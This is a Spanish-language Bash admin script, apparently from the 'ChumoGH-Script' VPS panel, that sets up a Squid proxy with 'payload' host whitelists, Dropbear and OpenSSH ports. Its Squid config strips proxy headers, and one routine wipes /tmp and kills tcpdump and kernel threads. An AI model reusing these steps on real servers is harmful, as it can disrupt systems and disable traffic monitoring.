+echo -e "\033[1;31m ?? DROPBEAR SE EJECUTA EN PUERTO\033[0m" $dropbearports " ESCOJIDO " $puertodropbear
+service dropbear start 1> /dev/null 2> /dev/null
+[[ -f "/usr/sbin/ufw" ]] && ufw allow $puertodropbear/tcp 1> /dev/null 2> /dev/null
+fun_eth
+return 0
+ } || {
+ban_inex
+return 1
+}
+}
+
+
+#LISTA PORTAS
+mportas () {
+unset portas
+portas_var=$(lsof -V -i tcp -P -n | grep -v "ESTABLISHED" |grep -v "COMMAND" | grep "LISTEN")
+while read port; do
+var1=$(echo $port | awk '{print $1}') && var2=$(echo $port | awk '{print $9}' | awk -F ":" '{print $2}')
+[[ "$(echo -e $portas|grep "$var1 $var2")" ]] || portas+="$var1 $var2\n"
+done <<< "$portas_var"
+i=1
+echo -e "$portas"
+}
+
+#MEU IP
+fun_ip () {
+[[ -e /etc/catIPlocal && -e /etc/catIP ]] && {
+MEU_IP=$(cat < /etc/catIPlocal)
+MEU_IP2=$(cat < /etc/catIP)
+[[ "$MEU_IP" != "$MEU_IP2" ]] && IP="$MEU_IP2" || IP="$MEU_IP"
+} || {
+MEU_IP=$(ip addr | grep 'inet' | grep -v inet6 | grep -vE '127\.[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}' | grep -o -E '[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}' | head -1) && echo $MEU_IP > /etc/catIPlocal
+MEU_IP2=$(wget -qO- ipv4.icanhazip.com) && echo $MEU_IP2 > /etc/catIP
+[[ "$MEU_IP" != "$MEU_IP2" ]] && IP="$MEU_IP2" || IP="$MEU_IP"
+}
+}
+meu_ip () {
+fun_ip
+}
+
+
+#ETHOOL SSH
+fun_eth () {
+eth=$(ifconfig | grep -v inet6 | grep -v lo | grep -v 127.0.0.1 | grep "encap:Ethernet" | awk '{print $1}')
+ [[ $eth != "" ]] && {
+ msg -bar
+ echo -e "${cor[3]} Aplicar Sistema Para Mejorar Sistema SSH?"
+ echo -e "${cor[3]} Opcion Para Usuarios Avanzados"
+ msg -bar
+ read -p " [S/N]: " -e -i n sshsn
+ [[ "$sshsn" = @(s|S|y|Y) ]] && {
+ echo -e "${cor[1]} Correcion de problemas de paquetes en SSH..."
+ echo -e " Quota en Entrada"
+ echo -ne "[ 1 - 999999999 ]: "; read rx
+ [[ "$rx" = "" ]] && rx="999999999"
+ echo -e " Quota en Salida"
+ echo -ne "[ 1 - 999999999 ]: "; read tx
+ [[ "$tx" = "" ]] && tx="999999999"
+ apt-get install ethtool -y > /dev/null 2>&1
+ ethtool -G $eth rx $rx tx $tx > /dev/null 2>&1
+ }
+ msg -bar
+ }
+}
+
+
+
+squid_cache () {
+msg -bar
+echo -e "${cor[5]} Caché de Squid no es más Que
+ Un historial de navegación en Squid
+ Que ahorrará datos al abrir sitios
+ Alojados en su caché
+ ¡El script hará una breve comprobación!"
+msg -bar
+sleep 0.5s
+if [ -e /etc/squid/squid.conf ]; then
+squid_var="/etc/squid/squid.conf"
+elif [ -e /etc/squid3/squid.conf ]; then
+squid_var="/etc/squid3/squid.conf"
+else
+echo -e "${cor[5]} No se ha identificado Squid!"
+return 1
+fi
+teste_cache="#CACHE DO SQUID"
+if [[ `grep -c "^$teste_cache" $squid_var` -gt 0 ]]; then
+ [[ -e ${squid_var}.bakk ]] && {
+ echo -e "${cor[5]} Desactivando SquidCache !!\n ESPERA PORFAVOR !"
+ mv -f ${squid_var}.bakk $squid_var
+ echo -e "${cor[5]} COLOCAR ARCHIVO ONLINE"
+ msg -bar
+ service squid restart > /dev/null 2>&1
+ service squid3 restart > /dev/null 2>&1
+ return 0
+ }
+fi
+echo -e "${cor[5]} ¡Squid esta Activo en tu sistema!\n ${cor[5]} No hay servicio de caché en el Squid!\n Activando el servicio SquidCache!"
+msg -bar
+_tmp="#CACHE DO SQUID\ncache_mem 200 MB\nmaximum_object_size_in_memory 32 KB\nmaximum_object_size 1024 MB\nminimum_object_size 0 KB\ncache_swap_low 90\ncache_swap_high 95"
+[[ "$squid_var" = "/etc/squid/squid.conf" ]] && _tmp+="\ncache_dir ufs /var/spool/squid 100 16 256\naccess_log /var/log/squid/access.log squid" || _tmp+="\ncache_dir ufs /var/spool/squid3 100 16 256\naccess_log /var/log/squid3/access.log squid"
+while read s_squid; do
+[[ "$s_squid" != "cache deny all" ]] && _tmp+="\n${s_squid}"
+done < $squid_var
+cp ${squid_var} ${squid_var}.bakk
+echo -e "${_tmp}" > $squid_var
+echo -e "${cor[5]} Reiniciando Servicios Espera!\n ESPERA PORFAVOR!"
+msg -bar
+service squid restart > /dev/null 2>&1
+service squid3 restart > /dev/null 2>&1
+}
+
+add_host_squid () {
+payload="/etc/payloads"
+if [ ! -f "$payload" ]; then
+echo -e "${cor[5]} $payload No econtrado"
+echo -e "${cor[5]} Squid no instalado"
+return
+fi
+msg -bar
+echo -e "\033[0;35m[\033[0;36m1\033[0;35m] \033[0;34m<\033[0;33m${cor[3]} Añadir NUEEVO Host a Squid"
+echo -e "\033[0;35m[\033[0;36m2\033[0;35m] \033[0;34m<\033[0;33m${cor[3]} Quitar 1 host de Squid"
+msg -bar
+read -p " | 1 - 2 |: " var_payload
+number_var $var_payload
+[[ -z $var_number ]] && echo -e "\033[1;31m Opcion Invalida" && return
+[[ $var_payload -gt 2 ]] && echo -e "\033[1;31m Opcion Invalida" && return
+[[ "$var_payload" = "1" ]] && {
+echo -e "${cor[4]} Añadir Host a Squid"
+echo -e "${cor[5]} Dominios actuales en el archivo $payload:"
+msg -bar
+cat $payload | awk -F "/" '{print $1,$2,$3,$4}'
+msg -bar
+echo "Escriba el Host-Squid que desea agregar "
+read -p "Iniciando con un ., ejemplo: .whatsapp.net: " hos
+if [[ $hos != \.* ]]; then
+echo -e "${cor[5]} Iniciando con un ., ejemplo: .whatsapp.net: "
+return
+fi
+host="$hos/"
+if [[ -z $host ]]; then
+echo -e "${cor[5]} ¡Esta vacío, no ha escrito nada!"
+return
+fi
+if [[ `grep -c "^$host" $payload` -eq 1 ]]; then
+echo -e "${cor[5]} El dominio ya existe en el archivo"
+return
+fi
+echo "$host" >> $payload && grep -v "^$" $payload > /tmp/a && mv /tmp/a $payload
+echo -e "${cor[5]} ¡Éxito, Archivo Actualizado!"
+msg -bar
+cat $payload | awk -F "/" '{print $1,$2,$3,$4}'
+msg -bar
+ if [ ! -f "/etc/init.d/squid" ]; then
+service squid3 reload
+service squid3 restart
+ else
+/etc/init.d/squid reload
+service squid restart
+ fi
+return
+}
+
+[[ $var_payload = 2 ]] && {
+echo -e "${cor[4]} Quitar el host de Squid"
+echo -e "${cor[5]} Dominios actuales en el archivo $payload:"
+msg -bar
+cat $payload | awk -F "/" '{print $1,$2,$3,$4}'
+msg -bar
+read -p " $(echo -e "Escriba el dominio que desea quitar\n") Iniciando con un ( . ), ejemplo: .chumogh.net: " hos
+if [[ $hos != \.* ]]; then
+echo -e "${cor[5]} Iniciando con un ( . ), ejemplo: .chumogh.net"
+return
+fi
+host="$hos/"
+if [[ -z $host ]]; then
+echo -e "${cor[5]} ¡Esta vacío, no ha escrito nada!"
+return
+fi
+if [[ `grep -c "^$host" $payload` -ne 1 ]]; then
+echo -e "${cor[5]} DOMINIO NO ENCONTRADO"
+return
+fi
+grep -v "^$host" $payload > /tmp/a && mv /tmp/a $payload
+echo -e "${cor[5]} ARCHIVO ACTUALIZADO EXITOSAMENTE!"
+msg -bar
+cat $payload | awk -F "/" '{print $1,$2,$3,$4}'
+msg -bar
+ if [ ! -f "/etc/init.d/squid" ]; then
+service squid3 reload
+service squid3 restart
+ else
+/etc/init.d/squid reload
+service squid restart
+ fi
+return
+}
+}
+
+
+add_port(){
+ if [[ -e /etc/squid/squid.conf ]]; then
+ local CONF="/etc/squid/squid.conf"
+ elif [[ -e /etc/squid3/squid.conf ]]; then
+ local CONF="/etc/squid3/squid.conf"
+ fi
+ local miport=$(cat ${CONF}|grep -w 'http_port'|awk -F ' ' '{print $2}'|tr '\n' ' ')
+ local line="$(cat ${CONF}|sed -n '/http_port/='|head -1)"
+ local NEWCONF="$(cat ${CONF}|sed "$line c ADMR_port"|sed '/http_port/d')"
+ msg -ama "$(echo -e "AGREGAR UN PUERTOS SQUID")"
+ echo -e " $(msg -verm2 "Ingrese Sus Puertos:") $(msg -verd "80 8080 8799 3128")"
+ msg -bar
+ msg -ne " $(echo -e " Digite Puertos"): " && read DPORT
+ tput cuu1 && tput dl1
+ TTOTAL=($DPORT)
+ for((i=0; i<${#TTOTAL[@]}; i++)); do
+ [[ $(mportas|grep -v squid|grep -v '>'|grep -w "${TTOTAL[$i]}") = "" ]] && {
+ echo -e "\033[1;33m Puerto Elegido:\033[1;32m ${TTOTAL[$i]} OK"
+ PORT="$PORT ${TTOTAL[$i]}"
+ } || {
+ echo -e "\033[1;33m Puerto Elegido:\033[1;31m ${TTOTAL[$i]} FAIL"
+ }
+ done
+ [[ -z $PORT ]] && {
+ msg -bar
+ msg -verm2 "Ningun Puerto Valido"
+ return 1
+ }
+ PORT="$miport $PORT"
+ rm ${CONF}
+ while read varline; do
+ if [[ ! -z "$(echo "$varline"|grep 'ADMR_port')" ]]; then
+ for i in `echo $PORT`; do
+ echo -e "http_port ${i}" >> ${CONF}
+ ufw allow $i/tcp &>/dev/null 2>&1
+ done
+ continue
+ fi
+ echo -e "${varline}" >> ${CONF}
+ done <<< "${NEWCONF}"
+ msg -bar
+ msg -azu "$(echo -e "AGUARDE REINICIANDO SERVICIOS")"
+ [[ -d "/etc/squid/" ]] && {
+ service ssh restart > /dev/null 2>&1
+ /etc/init.d/squid start > /dev/null 2>&1
+ service squid restart > /dev/null 2>&1
+ }
+ [[ -d "/etc/squid3/" ]] && {
+ service ssh restart > /dev/null 2>&1
+ /etc/init.d/squid3 start > /dev/null 2>&1
+ service squid3 restart > /dev/null 2>&1
+ }
+ sleep 2s
+ tput cuu1 && tput dl1
+ msg -verd "$(echo -e "PUERTOS AGREGADOS")"
+ return 1
+}
+
+del_port(){
+ squidport=$(lsof -V -i tcp -P -n | grep -v "ESTABLISHED" |grep -v "COMMAND" | grep "LISTEN"|grep -E 'squid|squid3')
+
+ if [[ $(echo "$squidport"|wc -l) -lt '2' ]];then
+ clear
+ msg -bar
+ msg -ama "Un solo puerto para eliminar\ndesea detener el servicio? "
+ msg -bar
+ msg -ne " opcion [S/N]: " && read a
+
+ if [[ "$a" = @(S|s) ]]; then
+ msg -ama "AGUARDE DETENIEDO SERVICIOS"
+ [[ -d "/etc/squid/" ]] && {
+ if service squid stop &> /dev/null ; then
+ msg -verd "Servicio squid detenido"
+ else
+ msg -verm2 "Falla al detener Servicio squid"
+ fi
+ }
+ [[ -d "/etc/squid3/" ]] && {
+ if service squid3 stop &> /dev/null ; then
+ msg -verd "Servicio squid3 detenido"
+ else
+ msg -verm2 "Falla al detener Servicio squid3"
+ fi
+ }
+ fi
+ return 1
+ fi
+
+ if [[ -e /etc/squid/squid.conf ]]; then
+ local CONF="/etc/squid/squid.conf"
+ elif [[ -e /etc/squid3/squid.conf ]]; then
+ local CONF="/etc/squid3/squid.conf"
+ fi
+ msg -ama "Quitar un puertos squid"
+ n=1
+ while read i; do
+ port=$(echo $i|awk -F ' ' '{print $9}'|cut -d ':' -f2)
+ echo -e " $(msg -verd "[$n]") $(msg -verm2 ">") $(msg -azu "$port")"
+ drop[$n]=$port
+ num_opc="$n"
+ let n++
+ done <<< $(echo "$squidport")
+ back
+ while [[ -z $opc ]]; do
+ msg -ne " opcion: "
+ read opc
+ tput cuu1 && tput dl1
+ if [[ -z $opc ]]; then
+ msg -verm2 " selecciona una opcion entre 1 y $num_opc"
+ unset opc
+ sleep 2
+ tput cuu1 && tput dl1
+ continue
+ elif [[ ! $opc =~ $numero ]]; then
+ msg -verm2 " selecciona solo numeros entre 1 y $num_opc"
+ unset opc
+ sleep 2
+ tput cuu1 && tput dl1
+ continue
+ elif [[ "$opc" -gt "$num_opc" ]]; then
+ msg -verm2 " selecciona una opcion entre 1 y $num_opc"
+ sleep 2
+ tput cuu1 && tput dl1
+ unset opc
+ continue
+ fi
+ done
+ sed -i "/http_port ${drop[$opc]}/d" $CONF
+ msg -azu "$(echo -e "AGUARDE REINICIANDO SERVICIOS")"
+ [[ -d "/etc/squid/" ]] && {
+ service ssh restart > /dev/null 2>&1
+ /etc/init.d/squid start > /dev/null 2>&1
+ service squid restart > /dev/null 2>&1
+ }
+ [[ -d "/etc/squid3/" ]] && {
+ service ssh restart > /dev/null 2>&1
+ /etc/init.d/squid3 start > /dev/null 2>&1
+ service squid3 restart > /dev/null 2>&1
+ }
+ sleep 2s
+ tput cuu1 && tput dl1
+ msg -verd "$(echo -e "PUERTO REMOVIDO")"
+ return 1
+}
+
+restart_squid(){
+ msg -ama "AGUARDE REINICIANDO SERVICIOS"
+ [[ -d "/etc/squid/" ]] && {
+ service ssh restart > /dev/null 2>&1
+ /etc/init.d/squid start > /dev/null 2>&1
+ service squid restart > /dev/null 2>&1
+ }
+ [[ -d "/etc/squid3/" ]] && {
+ service ssh restart > /dev/null 2>&1
+ /etc/init.d/squid3 start > /dev/null 2>&1
+ service squid3 restart > /dev/null 2>&1
+ }
+ sleep 2s
+ tput cuu1 && tput dl1
+ msg -verd "$(echo -e "SERVICIO REINICIANDO")"
+ return 1
+}
+
+
+#INSTALADOR SQUID
+fun_squid () {
+
+fsqd() {
+ sync
+ echo 3 >/proc/sys/vm/drop_caches
+ sync && sysctl -w vm.drop_caches=3
+ sysctl -w vm.drop_caches=0
+ swapoff -a
+ swapon -a
+apt install squid -y &> /dev/null
+ rm -rf /tmp/* > /dev/null 2>&1
+ killall kswapd0 > /dev/null 2>&1
+ killall tcpdump > /dev/null 2>&1
+ killall ksoftirqd > /dev/null 2>&1
+ echo > /etc/fixsquid
+}
+
+function call.squid() {
+ sleep .1
+ helice() {
+ fsqd >/dev/null 2>&1 &
+ tput civis
+ while [ -d /proc/$! ]; do
+ for i in / - \\ \|; do
+ sleep .1
+ echo -ne "\e[1D$i"
+ done
+ done
+ tput cnorm
+ }
+ echo -ne "\033[1;37m OPTIMIZANDO Y \033[1;32mFIXEANDO \033[1;37mSQUID V3 \033[1;32m.\033[1;32m.\033[1;33m.\033[1;31m. \033[1;33m"
+ helice
+ echo -e "\e[1DOk"
+}
+
+
+[[ -e /etc/squid/squid.conf ]] && var_squid="/etc/squid/squid.conf"
+[[ -e /etc/squid3/squid.conf ]] && var_squid="/etc/squid3/squid.conf"
+
+
+ [[ -e $var_squid ]] && {
+echo -e " MENU DE FUNCION SQUID "
+msg -bar
+echo -e " \033[0;35m [\033[0;36m1\033[0;35m]\033[0;31m ${flech} ${cor[3]} SQUID CACHE $_cachesquid"
+echo -e " \033[0;35m [\033[0;36m2\033[0;35m]\033[0;31m ${flech} ${cor[3]} AGREGAR / REMOVER HOST-SQUID"
+echo -e " \033[0;35m [\033[0;36m3\033[0;35m]\033[0;31m ${flech} ${cor[3]} AÑADIR UN PUERTO SQUID"
+echo -e " \033[0;35m [\033[0;36m4\033[0;35m]\033[0;31m ${flech} ${cor[3]} QUITAR UN PUERTO SQUID"
+echo -e " \033[0;35m [\033[0;36m5\033[0;35m]\033[0;31m ${flech} ${cor[3]} DESINSTALAR SQUID"
+msg -bar
+echo -e " \033[0;35m [\033[0;36m0\033[0;35m]\033[0;31m ${flech} $(msg -bra "\033[1;41m[ REGRESAR ]\e[0m")"
+msg -bar
+selection=$(selection_fun 5)
+case ${selection} in
+0)
+return 0
+;;
+1)
+squid_cache
+return 0
+;;
+2)
+add_host_squid
+return 0
+;;
+3)
+add_port
+return 0
+;;
+4)
+del_port
+return 0
+;;
+5)
+msg -bar
+ echo -e "\033[1;32m REMOVIENDO SQUID"
+ if [[ -e /etc/squid/squid.conf ]]; then
+ var_squid="/etc/squid/squid.conf"
+ mipatch="/etc/squid"
+ elif [[ -e /etc/squid3/squid.conf ]]; then
+ var_squid="/etc/squid3/squid.conf"
+ mipatch="/etc/squid3"
+ fi
+ [[ -e $var_squid ]] && {
+ clear
+ msg -bar
+ msg -ama "$(echo -e "REMOVIENDO SQUID")"
+ msg -ama "Aguarde un momento!!!"
+ msg -bar
+ [[ -d "/etc/squid" ]] && {
+ service squid stop > /dev/null 2>&1
+ apt-get remove squid -y >/dev/null 2>&1
+ apt-get purge squid -y >/dev/null 2>&1
+ rm -rf /etc/squid >/dev/null 2>&1
+ }
+ [[ -d "/etc/squid3" ]] && {
+ service squid3 stop > /dev/null 2>&1
+ apt-get remove squid3 -y >/dev/null 2>&1
+ apt-get purge squid3 -y >/dev/null 2>&1
+ rm -rf /etc/squid3 >/dev/null 2>&1
+ }
+ }
+ service squid stop > /dev/null 2>&1
+ service squid3 stop > /dev/null 2>&1
+ echo -e "\033[1;32m Procedimento Concluido"
+ msg -bar
+ [[ -e $var_squid ]] && rm $var_squid
+ return 0
+;;
+esac
+ }
+ #Reiniciando
+ service squid3 restart > /dev/null 2>&1
+ service squid restart > /dev/null 2>&1
+#Instalar
+clear&&clear
+msg -bar
+echo -e "\033[1;32m INSTALADOR SQUID ChumoGH-Script"
+msg -bar
+fun_ip
+echo -ne " CONFIRME SU IP"; read -p ": " -e -i $IP ip
+msg -bar
+echo -e " DIJITA TUS PUERTOS EN LA SIGUIENTE SECUENCIA"
+echo -e " SECUENCIA DE Ejemplo: 80 8080 3128"
+echo -ne " INGRESA TUS PUERTOS: "; read portasx
+msg -bar
+totalporta=($portasx)
+unset PORT
+ for((i=0; i<${#totalporta[@]}; i++)); do
+ [[ $(mportas|grep "${totalporta[$i]}") = "" ]] && {
+ echo -e "\033[1;33m Puertos Escojidos :\033[1;32m ${totalporta[$i]} OK"
+ PORT+="${totalporta[$i]}\n"
+ [[ -f "/usr/sbin/ufw" ]] && ufw allow ${totalporta[$i]}/tcp 1> /dev/null 2> /dev/null
+ } || {
+ echo -e "\033[1;33m Puertos Escojidos :\033[1;31m ${totalporta[$i]} FAIL"
+ }
+ done
+ [[ "$(echo -e $PORT)" = "" ]] && {
+ echo -e "\033[1;31m No se ha elegido ningún puerto válido\033[0m"
+ return 1
+ }
+
+system=$(cat -n /etc/issue |grep 1 |cut -d ' ' -f6,7,8 |sed 's/1//' |sed 's/ //')
+vercion=$(echo $system|awk '{print $2}'|cut -d '.' -f1,2)
+msg -bar
+echo -e " INSTALANDO SQUID"
+msg -bar
+[[ "${vercion}" > "21" ]] && {
+[[ -e /etc/fixsquid ]] || call.squid
+} || {
+
+ [[ -e /etc/fixsquid ]] || {
+ fun_bar "apt-get install squid3 -y"
+ touch /etc/fixsquid
+ }
+}
+
+echo -e " INICIANDO CONFIGURACION SQUID"
+msg -bar
+echo -e "" > /etc/payloads
+#A�adir Host Squid
+payload="/etc/payloads"
+echo -e "" > /etc/payloads
+echo -e " Escriba el Host-Squid que desea agregar"
+echo -e " Iniciando con un ., ejemplo: .facebook.net"
+read -p " Agregar Host " hos
+if [[ $hos != \.* ]]; then
+msg -bar
+echo -e "\033[1;31m [!] Host-Squid debe iniciar con un "."\033[0m"
+echo -e "\033[1;31m Asegurese de agregarlo despues corretamente!\033[0m"
+fi
+host="$hos/"
+if [[ -z $host ]]; then
+msg -bar
+echo -e "\033[1;31m [!] Host-Squid no agregado"
+echo -e "\033[1;31m Asegurese de agregarlo despues!\033[0m"
+fi
+echo "$host" >> $payload && grep -v "^$" $payload > /tmp/a && mv /tmp/a $payload
+msg -bar
+echo -e "\033[1;32m Ahora escoja una Conf Para Su Proxy"
+msg -bar
+echo -e "\033[0;35m [\033[0;36m1\033[0;35m]\033[0;31m ${flech}${cor[3]} INSTALACION COMUN"
+echo -e "\033[0;35m [\033[0;36m2\033[0;35m]\033[0;31m ${flech}${cor[3]} INSTALACION AVANZADA -\033[1;31m CUSTIMIZABLE\033[1;37m"
+msg -bar
+read -p " [1/2]: " -e -i 1 proxy_opt
+unset var_squid
+[[ -d /etc/squid ]] && var_squid='/etc/squid/squid.conf'
+[[ -d /etc/squid3 ]] && var_squid='/etc/squid3/squid.conf'
+if [[ "$proxy_opt" = @(02|2) ]]; then
+echo -e "#ConfiguracionSquiD
+acl url1 dstdomain -i $ip
+acl url2 dstdomain -i 127.0.0.1
+acl url3 url_regex -i '/etc/payloads'
+acl url4 dstdomain -i localhost
+acl accept dstdomain -i GET
+acl accept dstdomain -i POST
+acl accept dstdomain -i OPTIONS
+acl accept dstdomain -i CONNECT
+acl accept dstdomain -i PUT
+acl HEAD dstdomain -i HEAD
+acl accept dstdomain -i TRACE
+acl accept dstdomain -i OPTIONS
+acl accept dstdomain -i PATCH
+acl accept dstdomain -i PROPATCH
+acl accept dstdomain -i DELETE
+acl accept dstdomain -i REQUEST
+acl accept dstdomain -i METHOD
+acl accept dstdomain -i NETDATA
+acl accept dstdomain -i MOVE
+acl all src 0.0.0.0/0
+http_access allow url1
+http_access allow url2
+http_access allow url3
+http_access allow url4
+http_access allow accept
+http_access allow HEAD
+http_access deny all
+
+# Request Headers Forcing
+
+request_header_access Allow allow all
+request_header_access Authorization allow all
+request_header_access WWW-Authenticate allow all
+request_header_access Proxy-Authorization allow all
+request_header_access Proxy-Authenticate allow all
+request_header_access Cache-Control allow all
+request_header_access Content-Encoding allow all
+request_header_access Content-Length allow all
+request_header_access Content-Type allow all
+request_header_access Date allow all
+request_header_access Expires allow all
+request_header_access Host allow all
+request_header_access If-Modified-Since allow all
+request_header_access Last-Modified allow all
+request_header_access Location allow all
+request_header_access Pragma allow all
+request_header_access Accept allow all
+request_header_access Accept-Charset allow all
+request_header_access Accept-Encoding allow all
+request_header_access Accept-Language allow all
+request_header_access Content-Language allow all
+request_header_access Mime-Version allow all
+request_header_access Retry-After allow all
+request_header_access Title allow all
+request_header_access Connection allow all
+request_header_access Proxy-Connection allow all
+request_header_access User-Agent allow all
+request_header_access Cookie allow all
+request_header_access All deny all
+
+# Response Headers Spoofing
+
+reply_header_access Via deny all
+reply_header_access X-Cache deny all
+reply_header_access X-Cache-Lookup deny all
+
+
+#portas" > "${var_squid}"
+for pts in $(echo -e $PORT); do
+echo -e "http_port $pts" >> "${var_squid}"
+done
+echo -e "
+#nome
+visible_hostname ChumoGHADM
+
+via off
+forwarded_for off
+pipeline_prefetch off" >> "${var_squid}"
+else
+cat <<-EOF > "${var_squid}"
+#Configuracion SquiD
+acl localhost src 127.0.0.1/32 ::1
+acl to_localhost dst 127.0.0.0/8 0.0.0.0/32 ::1
+acl SSL_ports port 443
+acl Safe_ports port 80
+acl Safe_ports port 21
+acl Safe_ports port 443
+acl Safe_ports port 70
+acl Safe_ports port 210
+acl Safe_ports port 1025-65535
+acl Safe_ports port 280
+acl Safe_ports port 488
+acl Safe_ports port 591
+acl Safe_ports port 777
+acl CONNECT method CONNECT
+acl SSH dst $ip-$ip/255.255.255.255
+acl exprecion-denie url_regex '/etc/exprecion-denie'
+acl dominio-denie dstdomain '/etc/dominio-denie'
+http_access deny exprecion-denie
+http_access deny dominio-denie
+http_access allow SSH
+http_access allow manager localhost
+http_access deny manager
+http_access allow localhost
+
+#puertos
+EOF
+
+ for pts in $(echo -e $PORT); do
+echo -e "http_port $pts" >> "${var_squid}"
+done
+echo -e "
+#nome
+visible_hostname ChumoGHADM
+
+via off
+forwarded_for off
+pipeline_prefetch off" >> "${var_squid}"
+fi
+fun_eth
+msg -bar
+
+echo -ne " \033[1;31m [ ! ] \033[1;33m REINICIANDO SERVICIOS"
+squid3 -k reconfigure > /dev/null 2>&1
+squid -k reconfigure > /dev/null 2>&1
+service ssh restart > /dev/null 2>&1
+service squid3 restart > /dev/null 2>&1
+service squid restart > /dev/null 2>&1
+echo -e " \033[1;32m[OK]"
+msg -bar
+echo -e " ${cor[3]}SQUID CONFIGURADO EXITOSAMENTE"
+msg -bar
+#UFW
+for ufww in $(mportas|awk '{print $2}'); do
+[[ -f "/usr/sbin/ufw" ]] && ufw allow $ufww 1> /dev/null 2> /dev/null
+done
+}
+#INSTALAR DROPBEAR
+
+addnewd (){
+unset yesno
+unset dnew
+echo -e "\033[1;32mDeseas Adicionar alguno mas?? "
+while [[ ${yesno} != @(s|S|y|Y|n|N) ]]; do
+read -p "[S/N]: " yesno
+foc=$(($foc + 1))
+tput cuu1 && tput dl1
+done
+if [[ ${yesno} = @(s|S|y|Y) ]]; then
+echo -e "\033[1;34mIngresa Nuevo Puerto a Escuchar:"
+read -p ": " dnew
+ if lsof -Pi :$dnew -sTCP:LISTEN -t >/dev/null ; then
+ echo -e "\033[1;37mPuerto Seleccionado Ocupado | Reintenta"
+ else
+ dvj=$(cat < /etc/default/dadd)
+ sed -i "s/$dvj/$dnew -p $dvj/g" /etc/default/dropbear
+ echo "Reiniciando Dropbear para ejecutar cambios"
+ echo "Numero de Intento : $foc"
+ service dropbear restart
+ [[ -f "/usr/sbin/ufw" ]] && ufw allow $dnew/tcp 1> /dev/null 2> /dev/null
+ dropbearports=`netstat -tunlp | grep dropbear | grep 0.0.0.0: | awk '{print substr($4,9); }' > /tmp/dropbear.txt && echo | cat /tmp/dropbear.txt | tr '\n' ' ' > /ADMcgh/dropbearports.txt && cat /ADMcgh/dropbearports.txt`;
+ echo "Puertos que Corren en DROPBEAR " $dropbearports
+ fi
+#echo -e "\033[1;32mDeseas Adicionar alguno mas?? "
+echo "EXITO AL AÑADIR PUERTO"
+sleep 0.5s
+addnewd
+else
+unset foc
+cd /ADMcgh && ./menu_inst
+fi
+}
+
+fun_openssh() {
+ clear
+ source /ADMcgh/header
+ msg -bar
+ echo -e "\033[1;31m[\033[1;36m1\033[1;31m] \033[1;37m \033[1;33mADICIONAR PORTA\033[1;31m
+[\033[1;36m2\033[1;31m] \033[1;37m \033[1;33mREMOVER PUERTO OPENSSH\033[1;31m
+[\033[1;36m3\033[1;31m] \033[1;37m \033[1;33mREGRESAR\033[0m"
+ msg -bar
+ echo -ne "\033[1;32mOPCION \033[1;33m:\033[1;37m "
+ read resp
+ if [[ "$resp" = '1' ]]; then
+ clear
+ echo -e "\E[44;1;37m ADICIONAR PUERTO OPENSSH \E[0m\n"
+ echo -ne " \033[1;32mQUE PUERTO DESEAS AADIR \033[1;33m?\033[1;37m "
+ read pt
+ [[ -z "$pt" ]] && {
+ echo -e "\n\033[1;31mPUERTO INVALIDO!"
+ sleep 1
+ return 0
+ }
+ verif_ptrs $pt
+ echo -e "\n\033[1;32mAADIENDO PUERTO A OPENSSH\033[0m"
+ echo ""
+ fun_addpssh() {
+ echo "Port $pt" >>/etc/ssh/sshd_config
+ service ssh restart
+ }
+ fun_bar 'fun_addpssh'
+ echo -e "\n\033[1;32mPUERTO ADICIONADO CON EXITO\033[0m"
+ sleep 3
+ return 0
+ elif [[ "$resp" = '2' ]]; then
+ clear
+ echo -e "\E[41;1;37m ELIMINAR PUERTO OPENSSH \E[0m"
+ echo -e "\n\033[1;33m[\033[1;31m!\033[1;33m] \033[1;32mPUERTO DETENIDO \033[1;37m22 \033[1;33mCUIDADO !\033[0m"
+ echo -e "\n\033[1;33mPUERTAS SSH EN USO: \033[1;37m$(grep 'Port' /etc/ssh/sshd_config | cut -d' ' -f2 | grep -v 'no' | xargs)\n"
+ echo -ne "\033[1;32mQUE PUERTO DESEAS REMOVER \033[1;33m?\033[1;37m "
+ read pt
+ [[ -z "$pt" ]] && {
+ echo -e "\n\033[1;31mPUERTO INVALIDO!"
+ sleep 2
+ return 0
+ }
+ [[ $(grep -wc "$pt" '/etc/ssh/sshd_config') != '0' ]] && {
+ echo -e "\n\033[1;32mREMOVENDO PUERTO DE SSH\033[0m"
+ echo ""
+ fun_delpssh() {
+ sed -i "/Port $pt/d" /etc/ssh/sshd_config
+ service ssh restart
+ }
+ fun_bar 'fun_delpssh'
+ echo -e "\n\033[1;32mPORTA REMOVIDA COM SUCESSO\033[0m"
+ sleep 2
+ return 0
+ } || {
+ echo -e "\n\033[1;31mPorta invalida!"
+ sleep 2
+ return 0
+ }
+ elif [[ "$resp" = '3' ]]; then
+ echo -e "\n\033[1;31mRetornando.."
+ sleep 2
+ return 0
+ else
+ echo -e "\n\033[1;31mOpcao invalida!"
+ sleep 2
+ return 0
+ fi
+ }
+
+
+
+fun_dropbear () {
+dropbearports=`netstat -tunlp | grep dropbear | grep 0.0.0.0: | awk '{print substr($4,9); }' > /tmp/dropbear.txt && echo | cat /tmp/dropbear.txt | tr '\n' ' ' > /etc/scpdk1/dropbearports.txt && cat /etc/scpdk1/dropbearports.txt`;
+# INICIO STUNNEL ACTIVO
+figlet " DROPBEAR " | boxes -d stone -p a2v1
+msg -bar
+[[ -z $dropbearports ]] && echo -e " DROPBEAR NO INSTALADO AUN" || echo -e "${cor[2]}DROPBEAR ACTIVO en Puertos: $dropbearports"
+msg -bar
+[[ -z $dropbearports ]] && echo -e " \033[0;35m[\033[0;36m1\033[0;35m] \033[0;34m<\033[0;33m INSTALAR DROPBEAR \033[0;32m(#OFICIAL)" || echo -e " \033[0;35m[\033[0;36m1\033[0;35m] \033[0;34m<\033[0;33m REINSTALAR DROPBEAR \033[0;32m(#OFICIAL)"
+[[ -e /etc/default/dropbear ]] && echo -e " \033[0;35m[\033[0;36m2\033[0;35m] \033[0;34m<\033[0;33m CERRAR PUERTO (S) \033[0;32m(#OFICIAL)"
+[[ -e /etc/default/dropbear ]] && echo -e " \033[0;35m[\033[0;36m3\033[0;35m] \033[0;34m<\033[0;31m Adicionar Port DROPBEAR \033[0;33m(#EXPERIMENTAL)" && lim=3 || lim=2
+msg -bar
+selection=$(selection_fun $lim)
+case ${selection} in
+1)
+clear
+########LLAMAMOS FUNCION DROPBEAR#######
+service dropbear stop 1> /dev/null 2> /dev/null
+service sshd restart > /dev/null 2>&1
+service ssh restart > /dev/null 2>&1
+dropbearuniversal
